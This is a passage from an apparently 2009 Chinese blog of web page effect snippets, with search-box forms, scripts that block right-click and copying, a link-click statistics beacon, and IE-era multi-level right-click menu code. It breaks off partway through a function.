<input type=checkbox name=abc16 value=baidudict><a href=http://dict.baidu.com/>词典</a>

<input type=checkbox name=abc14 value=baidump3><a href=http://map.baidu.com/>地图</a>

<input type=checkbox name=abc10 value=baidufile><a href=http://file.baidu.com/>文档</a>

<input type=checkbox name=abc3 value=yeah><a href=http://www.skycn.com/>软件</a>

 

<input type=checkbox name=abc2 value=yahoo><a href=http://cn.yahoo.com/>雅虎</a>

<input type=checkbox name=abc0 value=iask><a href=http://www.iask.com/>爱问</a>

<input type=checkbox name=abc1 value=sohu><a href=http://www.sogou.com/>搜狗</a></td>

</tr>

 

</form></table></td>

</tr></table>

29<SCRIPT language=javascript>

function index_search(){

var v=f.k.value

if(f.o[0].checked==true)

window.open("http://www.google.com/search?hl=zh-CN&inlang=zh-CN&ie=GB2312&oe=GB2312&q="+v);

if(f.o[1].checked==true)

window.open("http://www.baidu.com/baidu?tn=uunic&word="+v);

if(f.o[2].checked==true)

window.open("http://www.yahoo.com.cn/search?p="+v);

if(f.o[3].checked==true)

window.open("http://www.iask.com/s?k="+v);

if(f.o[4].checked==true)

window.open("http://www.sogou.com/web?query="+v);

return false;}

//-->

</SCRIPT>

 

<META content="MSHTML 5.00.3700.6699" name=GENERATOR>

<CENTER>

<div align="center">

<TABLE id=secTable border=0 cellspacing="0" cellpadding="0">

  <TBODY>

  <FORM name=f onsubmit=return(index_search())>

  <TR>

    <TD noWrap> <font color="#FF0000" size="2"><a target="_blank" href="http://www.7stk.com"><font color="#FF0000">网页特效代码</font></a></font>

       <INPUT class=input_box maxLength=64 size=40 value=网页制作特效代码

      name=k> <INPUT type=submit value=搜一下 name=submit> <font color="#008000"><INPUT type=radio CHECKED value=0 name=o>  Google <INPUT type=radio value=2 name=o> 百度

      <INPUT type=radio value=3 name=o> 雅虎 <INPUT type=radio value=4 name=o> 爱问

      <INPUT type=radio value=5 name=o> 搜狗</font></TD>

    </TR>

  </FORM></TBODY></TABLE>

</div>

</CENTER></HTML>        

              30<SCRIPT language=javascript>

function index_search(){

var v=f.k.value

if(f.o[0].checked==true)

window.open("http://www.google.com/search?hl=zh-CN&inlang=zh-CN&ie=GB2312&oe=GB2312&q="+v);

if(f.o[1].checked==true)

window.open("http://www.baidu.com/baidu?tn=uunic&word="+v);

if(f.o[2].checked==true)

window.open("http://www.yahoo.com.cn/search?p="+v);

if(f.o[3].checked==true)

window.open("http://www.iask.com/s?k="+v);

if(f.o[4].checked==true)

window.open("http://www.sogou.com/web?query="+v);

return false;}

//-->

</SCRIPT>

 

<META content="MSHTML 5.00.3700.6699" name=GENERATOR>

<CENTER>

<div align="center">

<TABLE id=secTable border=0 cellspacing="0" cellpadding="0">

  <TBODY>

  <FORM name=f onsubmit=return(index_search())>

  <TR>

    <TD noWrap> <font color="#FF0000" size="2"><a target="_blank" href="http://www.7stk.com"><font color="#FF0000">网页特效代码</font></a></font>

       <INPUT class=input_box maxLength=64 size=40 value=网页制作特效代码

      name=k> <INPUT type=submit value=搜一下 name=submit> <font color="#008000"><INPUT type=radio CHECKED value=0 name=o>  Google <INPUT type=radio value=2 name=o> 百度

      <INPUT type=radio value=3 name=o> 雅虎 <INPUT type=radio value=4 name=o> 爱问

      <INPUT type=radio value=5 name=o> 搜狗</font></TD>

    </TR>

  </FORM></TBODY></TABLE>

</div>

</CENTER></HTML>        

              31<html>

<head>

<title>免费搜索代码</title>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<style type="text/css">

<!--.f12{font-size:12px}.f12-1{font-size:12px;line-height:18px}.f13{font-size:13px}.f12-2{font-size:12px;line-height:24px}-->}.button{BACKGROUND-COLOR:#ffffff;BORDER-BOTTOM:#33333c 1px solid;BORDER-LEFT:#33333c 1px solid;BORDER-RIGHT:#33333c 1px solid;BORDER-TOP:#33333c 1px solid;COLOR:#33333c;HEIGHT:20px}A:hover{       COLOR:red}.ff{font-family:Verdana;font-size:14px}.s{text-decoration:none}.t{color:#ffffff;font-weight:bold;text-decoration:none}a:link{color:#000000;text-decoration:none}a:visited{color:#000000;text-decoration:none}a:hover{color:#ff0000!important;text-decoration:underline!important}.form1{  height:18px;font-size:9pt;color:#000000;background-color:#ffffff;border-left:#000D6B 1px solid;border-right:#000D6B 1px solid;border-top:#000D6B 1px solid;border-bottom:#000D6B 1px solid;}.f14 {

       font-size: 14px;

}

</style>

<SCRIPT>

<!--

function rf() {return false; }

document.oncontextmenu = rf

 

function keydown() {if(event.ctrlKey ==true || event.keyCode ==0 || event.shiftKey ==true){return false;} }

document.onkeydown =keydown

 

function drag() {return false;}

document.ondragstart=drag

//-->

</SCRIPT>

<script language="javascript">

<!--

function s4(){

if(f4.a0.checked)

window.open("http://search.sina.com.cn/cgi-bin/search/search.cgi?_searchkey="+f4.k.value,"0");

if(f4.a1.checked)

window.open("http://site.search.sohu.com/sitesearch.jsp?page_index=0&key_word="+f4.k.value,"1");

if(f4.a2.checked)

window.open("http://cha.so.163.com/so.php?key=032153283&q="+f4.k.value,"2");

if(f4.a3.checked)

window.open("http://www.google.com/search?hl=zh-CN&lr=lang_zh-CN&q="+f4.k.value,"3");

if(f4.a4.checked)

window.open("http://cn.search.yahoo.com/search/cn?p="+f4.k.value,"4");

if(f4.a5.checked)

window.open("http://www.baidu.com/baidu?tn=592mm&word="+f4.k.value,"6");

if(f4.a6.checked)

window.open("http://mp3search.baidu.com/wstsearch?tn=baidump3&ct=134217728&lm=-1&rn=&word="+f4.k.value,"8");

if(f4.a7.checked)

window.open("http://www.baidu.com/m?rn=10&tn=baidump3lyric&ct=150994944&lm=-1&word="+f4.k.value,"9");

if(f4.a8.checked)

window.open("http://images.google.com/images?ie=GB2312&hl=zh-CN&q="+f4.k.value,"10");

if(f4.a9.checked)

window.open("http://search.qihoo.com/usearch.html?site=www.shun6.com&kw="+f4.k.value,"11");

return false;}

function tracking(e){

 e = e ? e : window.event;

 var s = e.srcElement ? e.srcElement : e.target;

 var a = s.tagName;

 var u = s.href;

 var t = s.innerText ? s.innerText : s.textContent;

 if(a == "A"){

  try{

   new Image().src = "http://statis.265.com/url?a="+a+"&u="+escape(u)+"&t="+t;

  }catch(ex){}

 }

 return true;

}

//-->

</script>

</head>

<body bgcolor=#FFFFFF link=00009c vlink=00009c topmargin=0>

 

                    <table width=760 border=0 align=center cellspacing=0 cellpadding=0 bgcolor=#FFEC7D height=27><form name=f4 onsubmit=return(s4())><tr><td align=right><input type=text name=k size=18 value=请输入关键字 onmouseover=this.focus() onblur="if (value ==''){value='请输入关键字'}" onfocus=this.select() onclick="if(this.value=='请输入关键字')this.value=''"> <input name=submit type=submit style="background-color: #FFFFFF; font-size: 12px" value=" "> <span class=f12><input type=checkbox name=a0>新浪 <input type=checkbox name=a1>搜狐 <input type=checkbox name=a2>网易 <input type=checkbox name=a3>Google <input type=checkbox name=a4>雅虎 <input type=checkbox name=a5 checked>百度 <input type=checkbox name=a6>mp3 <input type=checkbox name=a7>歌词 <input type=checkbox name=a8><font color=#0000FF>图片 <input type=checkbox name=a9 checked></font>论坛<font color=#0000FF> <a target="_blank" href="http://www.7stk.com"><font color=#FF0000>代码</font></a></span></td></tr></form></table>

 

</body></html>

               

2 Comments

Wed

18

Mar

2009

4、极酷的多级右键菜单

4、极酷的多级右键菜单

<HTML>

<HEAD>

<TITLE>网页特效---极酷的多级右键菜单</TITLE>

<META content="text/html; charset=gb2312" http-equiv=Content-Type>

<STYLE type=text/css>BODY {

       FONT-SIZE: 12px;

}

.info{FONT-SIZE: 14px;color:#FFFFFF;font-family:@Tahoma,@宋体;width:20px}

TABLE {

       CURSOR: default; FONT-SIZE: 12px; MARGIN: 0px

}

TR {

       HEIGHT: 20px

}

TR.over {

       BACKGROUND-COLOR: #000080; COLOR: #ffffff; CURSOR: default; FONT-SIZE: 12px

}

TR.out {

       BACKGROUND-COLOR: #efefef; COLOR: #000000; FONT-SIZE: 12px

}

DIV.rm_div {

       BACKGROUND-COLOR: #efefef; BORDER-BOTTOM: #ffffff 1px outset; BORDER-LEFT: #ffffff 1px outset; BORDER-RIGHT: #ffffff 1px outset; BORDER-TOP: #ffffff 1px outset; DISPLAY: none; FILTER: Alpha(Opacity='95'); HEIGHT: 0px; PADDING-BOTTOM: 1px; PADDING-LEFT: 1px; PADDING-RIGHT: 1px; PADDING-TOP: 1px; POSITION: absolute; WIDTH: 0px

}

HR.sperator {

       BORDER-BOTTOM: #ffffff 1px inset; BORDER-LEFT: #ffffff 1px inset; BORDER-RIGHT: #ffffff 1px inset; BORDER-TOP: #ffffff 1px inset; WIDTH: 95%

}

.w2kfont {

       FONT-FAMILY: Tahoma; FONT-SIZE: 8pt

}

</STYLE>

 

<SCRIPT language=JScript>

<!--

//此代码由51windows.net收集做少量更改。

  function RightMenu()

  {

    this.AddExtendMenu=AddExtendMenu;

    this.AddItem=AddItem;

    this.GetMenu=GetMenu;

    this.HideAll=HideAll;

    this.I_OnMouseOver=I_OnMouseOver;

    this.I_OnMouseOut=I_OnMouseOut;

    this.I_OnMouseUp=I_OnMouseUp;

    this.P_OnMouseOver=P_OnMouseOver;

    this.P_OnMouseOut=P_OnMouseOut;

    A_rbpm = new Array();

    HTMLstr  = "";

    HTMLstr += "<!-- RightButton PopMenu -->\n";

    HTMLstr += "\n";

    HTMLstr += "<!-- PopMenu Starts -->\n";

    HTMLstr += "<div id='E_rbpm' class='rm_div'>\n";

                        // rbpm = right button pop menu

    HTMLstr += "<table width='100%' border='0' cellspacing='0'>\n";

    HTMLstr += "<tr><td height='264' width='20' valign='bottom'  bgcolor='#000000' onclick=window.event.cancelBubble=true; class=info>作制娃海<br>:<br>窗视忧无\n";

    HTMLstr += "</td><td height='264' width='120' style='padding: 1' valign='bottom'>\n";

    HTMLstr += "<table width='100%' border='0' cellspacing='0'>\n";

    HTMLstr += "<!-- Insert A Extend Menu or Item On Here For E_rbpm -->\n";

    HTMLstr += "</table></td></tr></table>\n";

    HTMLstr += "</div>\n";

    HTMLstr += "<!-- Insert A Extend_Menu Area on Here For E_rbpm -->";

    HTMLstr += "\n";

    HTMLstr += "<!-- PopMenu Ends -->\n";

  }

  function AddExtendMenu(id,img,wh,name,parent)

  {

    var TempStr = "";

 

    eval("A_"+parent+".length++");

    eval("A_"+parent+"[A_"+parent+".length-1] = id");  // 将此项注册到父菜单项的ID数组中去

    TempStr += "<div id='E_"+id+"' class='rm_div'>\n";

    TempStr += "<table width='100%' border='0' cellspacing='0'>\n";

    TempStr += "<!-- Insert A Extend Menu or Item On Here For E_"+id+" -->";

    TempStr += "</table>\n";

    TempStr += "</div>\n";

    TempStr += "<!-- Insert A Extend_Menu Area on Here For E_"+id+" -->";

    TempStr += "<!-- Insert A Extend_Menu Area on Here For E_"+parent+" -->";

    HTMLstr = HTMLstr.replace("<!-- Insert A Extend_Menu Area on Here For E_"+parent+" -->",TempStr);

   

    eval("A_"+id+" = new Array()");

    TempStr  = "";

    TempStr += "<!-- Extend Item : P_"+id+" -->\n";

    TempStr += "<tr id='P_"+id+"' class='out'";

    TempStr += " onmouseover='P_OnMouseOver(\""+id+"\",\""+parent+"\")'";

    TempStr += " onmouseout='P_OnMouseOut(\""+id+"\",\""+parent+"\")'";

    TempStr += " onmouseup=window.event.cancelBubble=true;";

    TempStr += " onclick=window.event.cancelBubble=true;";

    TempStr += "><td nowrap>";

    TempStr += "<font face='Wingdings' style='font-size:18px'>0</font> "+name+"  </td><td style='font-family: webdings; text-align: ;'>4";

    TempStr += "</td></tr>\n";

    TempStr += "<!-- Insert A Extend Menu or Item On Here For E_"+parent+" -->";

    HTMLstr = HTMLstr.replace("<!-- Insert A Extend Menu or Item On Here For E_"+parent+" -->",TempStr);

  }

  function AddItem(id,img,wh,name,parent,location)

  {

    var TempStr = "";

    var ItemStr = "<!-- ITEM : I_"+id+" -->";

    if(id == "sperator")

    {

      TempStr += ItemStr+"\n";

      TempStr += "<tr class='out' onclick='window.event.cancelBubble=true;' onmouseup='window.event.cancelBubble=true;'><td colspan='2' height='1'><hr class='sperator'></td></tr>";

      TempStr += "<!-- Insert A Extend Menu or Item On Here For E_"+parent+" -->";

      HTMLstr = HTMLstr.replace("<!-- Insert A Extend Menu or Item On Here For E_"+parent+" -->",TempStr);

      return;

    }

    if(HTMLstr.indexOf(ItemStr) != -1)

    {

      alert("I_"+id+"already exist!");

      return;

    }

    TempStr += ItemStr+"\n";

    TempStr += "<tr id='I_"+id+"' class='out'";

    TempStr += " onmouseover='I_OnMouseOver(\""+id+"\",\""+parent+"\")'";

    TempStr += " onmouseout='I_OnMouseOut(\""+id+"\")'";

    TempStr += " onclick='window.event.cancelBubble=true;'";

    if(location == null)

      TempStr += " onmouseup='I_OnMouseUp(\""+id+"\",\""+parent+"\",null)'";

    else

      TempStr += " onmouseup='I_OnMouseUp(\""+id+"\",\""+parent+"\",\""+location+"\")'";

    TempStr += "><td nowrap>";

    TempStr +="<font face='Wingdings' style='font-size:18px'>"+wh+"</font> "+ name+" ";//Wingdings字体做为图片,要改成图片,请在这里更改

    TempStr += "</td><td></td></tr>\n";

    TempStr += "<!-- Insert A Extend Menu or Item On Here For E_"+parent+" -->";

    HTMLstr = HTMLstr.replace("<!-- Insert A Extend Menu or Item On Here For E_"+parent+" -->",TempStr);

  }

  function GetMenu()

  {

    return HTMLstr;

  }

  function I_OnMouseOver(id,parent)

  {

    var Item;

    if(parent != "rbpm")

    {

      var ParentItem;

      ParentItem = eval("P_"+parent);

      ParentItem.className="over";

    }

    Item = eval("I_"+id);

    Item.className="over";

    HideAll(parent,1);

  }

  function I_OnMouseOut(id)

  {

    var Item;

    Item = eval("I_"+id);

    Item.className="out";

  }

  function I_OnMouseUp(id,parent,location)

  {

    var ParentMenu;

    window.event.cancelBubble=true;

    OnClick();

    ParentMenu = eval("E_"+parent);

    ParentMenu.display="none";

    if(location == null)

      eval("Do_"+id+"()");

    else

      window.open(location);

  }

  function P_OnMouseOver(id,parent)

  {

    var Item;

    var Extend;

    var Parent;

    if(parent != "rbpm")

    {

      var ParentItem;

      ParentItem = eval("P_"+parent);

      ParentItem.className="over";

    }

    HideAll(parent,1);

    Item = eval("P_"+id);

    Extend = eval("E_"+id);

    Parent = eval("E_"+parent);

    Item.className="over";

    Extend.style.display="block";

    Extend.style.posLeft=document.body.scrollLeft+Parent.offsetLeft+Parent.offsetWidth-4;

    if(Extend.style.posLeft+Extend.offsetWidth > document.body.scrollLeft+document.body.clientWidth)

        Extend.style.posLeft=Extend.style.posLeft-Parent.offsetWidth-Extend.offsetWidth+8;

    if(Extend.style.posLeft < 0) Extend.style.posLeft=document.body.scrollLeft+Parent.offsetLeft+Parent.offsetWidth;

    Extend.style.posTop=Parent.offsetTop+Item.offsetTop+1;

    if(Extend.style.posTop+Extend.offsetHeight > document.body.scrollTop+document.body.clientHeight)

      Extend.style.posTop=document.body.scrollTop+document.body.clientHeight-Extend.offsetHeight;

    if(Extend.style.posTop < 0) Extend.style.posTop=0;

  }

  function P_OnMouseOut(id,parent)

  {

  }

  function HideAll(id,flag)

  {

    var Area;

    var Temp;

    var i;

    if(!flag)

    {

      Temp = eval("E_"+id);

      Temp.style.display="none";

    }

    Area = eval("A_"+id);

    if(Area.length)

    {

      for(i=0; i < Area.length; i++)

      {

        HideAll(Area[i],0);

        Temp = eval("E_"+Area[i]);

        Temp.style.display="none";

        Temp = eval("P_"+Area[i]);

        Temp.className="out";

      }

    }

  }

 

  document.onmouseup=OnMouseUp;

  document.onclick=OnClick;

  function OnMouseUp()

  {

    if(window.event.button == 2)

    {

      var PopMenu;

      PopMenu = eval("E_rbpm");

      HideAll("rbpm",0);

      PopMenu.style.display="block";

      PopMenu.style.posLeft=document.body.scrollLeft+window.event.clientX;

      PopMenu.style.posTop=document.body.scrollTop+window.event.clientY;

      if(PopMenu.style.posLeft+PopMenu.offsetWidth > document.body.scrollLeft+document.body.clientWidth)

        PopMenu.style.posLeft=document.body.scrollLeft+document.body.clientWidth-PopMenu.offsetWidth;

      if(PopMenu.style.posLeft < 0) PopMenu.style.posLeft=0;

      if(PopMenu.style.posTop+PopMenu.offsetHeight > document.body.scrollTop+document.body.clientHeight)

        PopMenu.style.posTop=document.body.scrollTop+document.body.clientHeight-PopMenu.offsetHeight;

      if(PopMenu.style.posTop < 0) PopMenu.style.posTop=0;

    }

  }

  function OnClick()

  {

    HideAll("rbpm",0);

  }

  // Add Your Function on following

  function Do_viewcode(){window.location="view-source:"+window.location.href;}

  function Do_help(){window.showHelp(window.location);}

  function Do_exit() {window.close();}

  function Do_refresh() {window.location.reload();}

  function Do_back() {history.back();}

  function Do_forward() {history.forward();}

function Do_help(){alert("帮助")}

  -->

  </SCRIPT>

<META content="MSHTML 5.00.2920.0" name=GENERATOR></HEAD>

<BODY bgColor=#336699 oncontextmenu=window.event.returnValue=false>

<DIV id=snwcwt> 请点击右键</DIV>

<SCRIPT language=JScript>

  <!--

  var menu = new RightMenu();

menu.AddItem("update","start_update","4","<font class=w2kfont>Web Update</font>","rbpm","http://7stk.com");

menu.AddItem("suan","suan","a","鱼米之乡","rbpm","http://7stk.com");

menu.AddItem("sperator","","","","rbpm",null);

menu.AddExtendMenu("program","start_pro","24","程序<font class=w2kfont>(<u>P</u>)</font>","rbpm",null);

menu.AddExtendMenu("p_acc","folder","+","附件","program",null);

menu.AddItem("p_acc1","html","+","<font class=w2kfont>Microsoft FrontPage 2000</font>","program","51w/");

menu.AddItem("p_acc2","html","+","<font class=w2kfont>Norton AntiVirus Corporate Edition</font>","program","http://7stk.com");

menu.AddExtendMenu("p_lgame","folder","16","小游戏","p_acc",null);

menu.AddItem("p_game1","folder","+","扫雷","p_lgame","http://7stk.com");

menu.AddItem("p_game2","folder","+","超级玛力","p_lgame","http://7stk.com");

menu.AddItem("p_game3","folder","+","五子棋","p_lgame","http://7stk.com");

menu.AddItem("p_game4","folder","+","俄罗斯方块","p_lgame","http://7stk.com");

menu.AddExtendMenu("doc","start_doc","24","文档<font class=w2kfont>(<u>D</u>)</font>","rbpm",null);

menu.AddItem("d_photo","folder","+","我的朋友","doc",null);

menu.AddExtendMenu("fav","start_fav","24","收藏<font class=w2kfont>(<u>A</u>)</font>","rbpm",null);

menu.AddExtendMenu("f_bbs","folder","16","论坛","fav",null);

menu.AddItem("f_bbs1","html","+","蓝色理想","f_bbs","http://www.7stk.com/");

menu.AddItem("f_bbs2","html","+","特效观止","f_bbs","http://7stk.com/");

menu.AddItem("f_bbs3","html","+","CSDN专家门诊","f_bbs","http://www.163.net/");

menu.AddItem("f_bbs4","html","+","网上交流","f_bbs","http://163.com");

menu.AddExtendMenu("f_webpage","folder","16","网页制作","fav",null);

menu.AddItem("f_webpage1","html","","<font disabled>()</font>","f_webpage","http://");

menu.AddExtendMenu("f_study","folder","16","网上学习","fav",null);

menu.AddItem("f_s1","html","","<font disabled>()</font>","f_study","http://www.www.com");

menu.AddExtendMenu("f_link","folder","16","友情链接","fav",null);

menu.AddItem("f_link1","html","+","特效观止","f_link","http://");

menu.AddExtendMenu("setting","start_set","24","设置<font class=w2kfont>(<u>S</u>)</font>","rbpm",null);

menu.AddItem("s_panel","folder","+","控制面板(C)","setting","http://7stk.com");

menu.AddItem("sperator","","","","setting",null);

menu.AddItem("s_data","s_user","+","用户资料(D)","setting","http://");

menu.AddItem("s_display1","s_taskbar","+","任务栏和开始菜单(T)","setting","http://");

menu.AddExtendMenu("find","start_find","24","查找<font class=w2kfont>(<u>F</u>)","rbpm",null);

menu.AddItem("l_search","search","4","文件或文件夹上(<u>F</u>)...","find","http://");

menu.AddItem("i_search","esearch","4","Internet(<u>I</u>)...","find","http://");

menu.AddItem("u_search","f_user","4","用户(<u>P</u>)...","find","http://");

menu.AddItem("help","start_help","V","&nbsp;帮助<font class=w2kfont>(<u>H</u>)</font>","rbpm",null);

menu.AddItem("sperator","","","","rbpm",null);

menu.AddItem("logoff","start_logoff","v","&nbsp;注销<font class=w2kfont>(<u>L</u>)</font>","rbpm",null);

menu.AddItem("shut","start_shut","x","退出<font class=w2kfont>(<u>U</u>)</font>","rbpm",null);

document.writeln(menu.GetMenu());

-->

</SCRIPT>

</TD></TR>

</TABLE>

</BODY>

</HTML>

1 Comments

Wed

18

Mar

2009

3、XP风格的右键菜单

3XP风格的右键菜单

<html>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>网页特效--XP风格的右键菜单</title>

<STYLE>.menutable {

       BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #307ce8 1px solid; BORDER-LEFT: #307ce8 5px solid; BORDER-RIGHT: #307ce8 1px solid; BORDER-TOP: #94bcf3 1px solid; FONT-SIZE: 12px; POSITION: absolute; Z-INDEX: 100

}

.menutrin {

       BACKGROUND-COLOR: #1a71e6; COLOR: #ffffff; CURSOR: hand

}

.menutrout {

       COLOR: #000000; CURSOR: hand

}

.menutd0 {

       HEIGHT: 25px; TEXT-ALIGN: center; WIDTH: 28px; 改变这个修改菜单高度--->:

}

.menutd1 {

       FONT-FAMILY: Webdings; TEXT-ALIGN: right; WIDTH: 46px

}

.linktd1 {

       WIDTH: 46px

}

.menutd2 {

       WIDTH: 4px

}

.menuhr {

       BORDER-BOTTOM: #307ce8 1px inset; BORDER-LEFT: #307ce8 1px inset; BORDER-RIGHT: #307ce8 1px inset; BORDER-TOP: #307ce8 1px inset

}

</STYLE>

<BGSOUND id=theBS loop=0 src=""></HEAD>

<BODY bgColor=#eaf5fd style="FONT-SIZE: 10pt">

<SCRIPT><!----

 

/*-----------------------------------------------------------

鼠标右键菜单 1.0 Designed By Stroll  e-mail: csy-163@163.com

 

 

 

--------------------------------------------------------------*/

 

//---------------  有关数据 -----------------//

 

var IconList = new Array();   // icon图片 集合, 下标从 1 开始

 

       IconList[1] = new Image();

      

       IconList[1].src = "sto/1.gif";

      

       IconList[2] = new Image();

      

       IconList[2].src = "sto/2.gif";

 

       IconList[3] = new Image();

      

       IconList[3].src = "sto/3.gif"; 

      

       IconList[4] = new Image();

      

       IconList[4].src = "sto/4.gif"; 

 

 

 

 

 

 

//----------------  检测变量 菜单的显示隐藏就靠它了!!!  ------------------//   

 

var JustMenuID = "";

 

var SubMenuList = new Array();

 

var NowSubMenu = "";

 

var mouseCanSound = true;          //---------------------------  声音开关 ------  声音开关 ------------------//

 

var menuSpeed     =  50;   //---------- 菜单显示速度 ------------//

 

var alphaStep     =  30;   //---------- Alpaha 变化 -----------//

      

//------------- 构建 主菜单 对象 -------------//

 

function MouseMenu(objName)

{

       this.id           = "Menu_"+objName;

       this.obj          = objName;

       this.length  = 0;

      

      

       this.addMenu = addMenu;

       this.addLink = addLink;

       this.addHR   = addHR;      

      

       JustMenuID = this.id;

      

       document.body.insertAdjacentHTML('beforeEnd','<table id="'+this.id+'" border="0" cellspacing="0" cellpadding="0" style="top: 0; left: 0; visibility: hidden; filter:Alpha(Opacity=0);" class="menutable" onmousedown=event.cancelBubble=true; onmouseup=event.cancelBubble=true></table>');

}

 

//----------- 构建 子菜单 对象 -------------//

 

function SubMenu(objName,objID)

{

       this.obj = objName;

       this.id  = objID;

 

       this.addMenu = addMenu;

       this.addLink = addLink;

       this.addHR   = addHR;

 

       this.length  = 0;

}

 

 

//-------------- 生成 菜单 makeMenu 方法 -----------//

function makeMenu(subID,oldID,word,icon,url,target,thetitle)

{

       var thelink = '';

      

 

       if(icon&&icon!="")

       {

              icon = '<img border="0" src="'+IconList[icon].src+'">';

       }

       else

       {

              icon = '';

       }

      

       if(!thetitle||thetitle=="")

       {

              thetitle = '';

       }

      

      

       if(url&&url!="")

       {

              thelink += '<a href="'+url+'" ';

             

              if(target&&target!="")

              {

                     thelink += '  ';

                     thelink += 'target="'+target+'" '

              }

             

              thelink += '></a>';

       }

      

       var Oobj = document.getElementById(oldID);

 

       /*--------------------------------------------- 菜单html样式

      

          <tr class="menutrout" id="trMenu_one_0" title="I am title">

      <td class="menutd0"><img src="icon/sub.gif" border="0" width="16" height="16"></td>

      <td><a href="javascript:alert('I am menu');" target="_self"></a><nobr>菜单一</nobr></td>

      <td class="menutd1">4</td>

      <td class="menutd2">&nbsp;</td>

    </tr>

 

      

       --------------------------------------------------*/

      

       Oobj.insertRow();

      

 

       with(Oobj.rows(Oobj.rows.length-1))

       {

              id                  = "tr"+subID;

              className      = "menutrout";

             

              title       = thetitle;

 

       }

      

       eventObj = "tr"+subID;

      

       eval(eventObj+'.attachEvent("onmouseover",MtrOver('+eventObj+'))');    

       eval(eventObj+'.attachEvent("onclick",MtrClick('+eventObj+'))');     

             

       var trObj = eval(eventObj);

 

       for(i=0;i<4;i++)

       {

              trObj.insertCell();

       }

 

       with(Oobj.rows(Oobj.rows.length-1))

       {

              cells(0).className = "menutd0";

              cells(0).innerHTML = icon;

 

              cells(1).innerHTML = thelink+'<nobr class=indentWord>'+word+'</nobr>';

              cells(1).calssName = "indentWord"

             

              cells(2).className = "menutd1";

              cells(2).innerHTML = "4";

             

              cells(3).className = "menutd2";

              cells(3).innerText = " ";

             

       }    

      

      

      

       document.body.insertAdjacentHTML('beforeEnd','<table id="'+subID+'" border="0" cellspacing="0" cellpadding="0" style="top: 0; left: 0; visibility: hidden; filter:Alpha(Opacity=0);" class="menutable" onmousedown=event.cancelBubble=true; onmouseup=event.cancelBubble=true></table>');

      

      

             

}

 

 

//---------------- 生成连接 makeLink 方法 ------------//

function makeLink(subID,oldID,word,icon,url,target,thetitle)

{

      

      

       var thelink = '';

      

       if(icon&&icon!="")

       {

              icon = '<img border="0" src="'+IconList[icon].src+'">';

       }

       else

       {

              icon = '';

       }

      

       if(!thetitle||thetitle=="")

       {

              thetitle = '';

       }

      

      

       if(url&&url!="")

       {

              thelink += '<a href="'+url+'" ';

             

              if(target&&target!="")

              {

                     thelink += '  ';

                     thelink += 'target="'+target+'" '

              }

             

              thelink += '></a>';

       }

      

       var Oobj = document.getElementById(oldID);

      

      

       /*--------------------------------------------- 连接html样式

      

          <tr class="menutrout" id="trMenu_one_0" title="I am title">

      <td class="menutd0"><img src="icon/sub.gif" border="0" width="16" height="16"></td>

      <td><a href="javascript:alert('I am link');" target="_self"></a><nobr>连接一</nobr></td>

      <td class="linktd1"></td>

      <td class="menutd2">&nbsp;</td>

    </tr>

 

      

       --------------------------------------------------*/    

      

       Oobj.insertRow();

      

 

       with(Oobj.rows(Oobj.rows.length-1))

       {

              id                  = "tr"+subID;

              className      = "menutrout";             

              title       = thetitle;

 

       }

      

       eventObj = "tr"+subID;

      

       eval(eventObj+'.attachEvent("onmouseover",LtrOver('+eventObj+'))');     

       eval(eventObj+'.attachEvent("onmouseout",LtrOut('+eventObj+'))');        

       eval(eventObj+'.attachEvent("onclick",MtrClick('+eventObj+'))');     

             

       var trObj = eval(eventObj);

 

       for(i=0;i<4;i++)

       {

              trObj.insertCell();

       }

 

       with(Oobj.rows(Oobj.rows.length-1))

       {

              cells(0).className = "menutd0";

              cells(0).innerHTML = icon;

 

              cells(1).innerHTML = thelink+'<nobr class=indentWord>'+word+'</nobr>';

 

              cells(2).className = "linktd1";

              cells(2).innerText = " ";

             

              cells(3).className = "menutd2";

              cells(3).innerText = " ";

             

       }    

 

}

 

 

//-------------- 菜单对象 addMenu 方法 ------------//

function addMenu(word,icon,url,target,title)

{

       var subID    = this.id + "_" + this.length;

       var subObj  = this.obj+"["+this.length+"]";

      

       var oldID   = this.id;

      

       eval(subObj+"= new SubMenu('"+subObj+"','"+subID+"')");

      

         makeMenu(subID,oldID,word,icon,url,target,title);

        

         this.length++;

      

}

 

 

//------------- 菜单对象 addLink 方法 -------------//

function addLink(word,icon,url,target,title)

{

       var subID    = this.id + "_" + this.length;

       var oldID  = this.id;

      

         makeLink(subID,oldID,word,icon,url,target,title);

        

         this.length++;      

}

 

//------------ 菜单对象 addHR 方法 -----------------//

function addHR()

{

       var oldID = this.id;

 

       var Oobj = document.getElementById(oldID);

      

       Oobj.insertRow();

      

       /*------------------------------------------

      

         <tr>

      <td colspan="4">

              <hr class="menuhr" size="1" width="95%">

       </td>

    </tr>

      

       --------------------------------------------*/    

 

      

       Oobj.rows(Oobj.rows.length-1).insertCell();

 

       with(Oobj.rows(Oobj.rows.length-1))

       {

              cells(0).colSpan= 4;

              cells(0).insertAdjacentHTML('beforeEnd','<hr class="menuhr" size="1" width="95%">');             

       }    

      

}

 

 

 

 

 

 

//--------- MtrOver(obj)-------------------//

function MtrOver(obj)

{

       return sub_over;

      

       function sub_over()

       {

      

              var sonid = obj.id.substring(2,obj.id.length);

             

              var topobj = obj.parentElement.parentElement;

             

              NowSubMenu = topobj.id;

             

              if(obj.className=="menutrout")

              {

                     mouseWave();

              }           

             

              HideMenu(1);       

             

              SubMenuList[returnIndex(NowSubMenu)] = NowSubMenu;

 

              ShowTheMenu(sonid,MPreturn(sonid))             

             

              SubMenuList[returnIndex(obj.id)] = sonid;

             

              if(topobj.oldTR)

              {

                     eval(topobj.oldTR+'.className = "menutrout"');

              }

 

              obj.className = "menutrin";

 

              topobj.oldTR = obj.id;

             

 

       }

}

 

//--------- LtrOver(obj)-------------------//

function LtrOver(obj)

{

       return sub_over;

      

       function sub_over()

       {

              var topobj = obj.parentElement.parentElement;

 

              NowSubMenu = topobj.id;

             

              HideMenu(1);

             

              SubMenuList[returnIndex(NowSubMenu)] = NowSubMenu;

                           

              if(topobj.oldTR)

              {

                     eval(topobj.oldTR+'.className = "menutrout"');

              }

 

              obj.className = "menutrin";

 

              topobj.oldTR = obj.id;

 

       }

}

 

//--------- LtrOut(obj)-------------------//

function LtrOut(obj)

{

       return sub_out;

      

       function sub_out()

       {

              var topobj = obj.parentElement.parentElement;

             

              obj.className = "menutrout";

             

              topobj.oldTR = false;

       }

}

 

//----------MtrClick(obj)-----------------//

 

function MtrClick(obj)

{

       return sub_click;

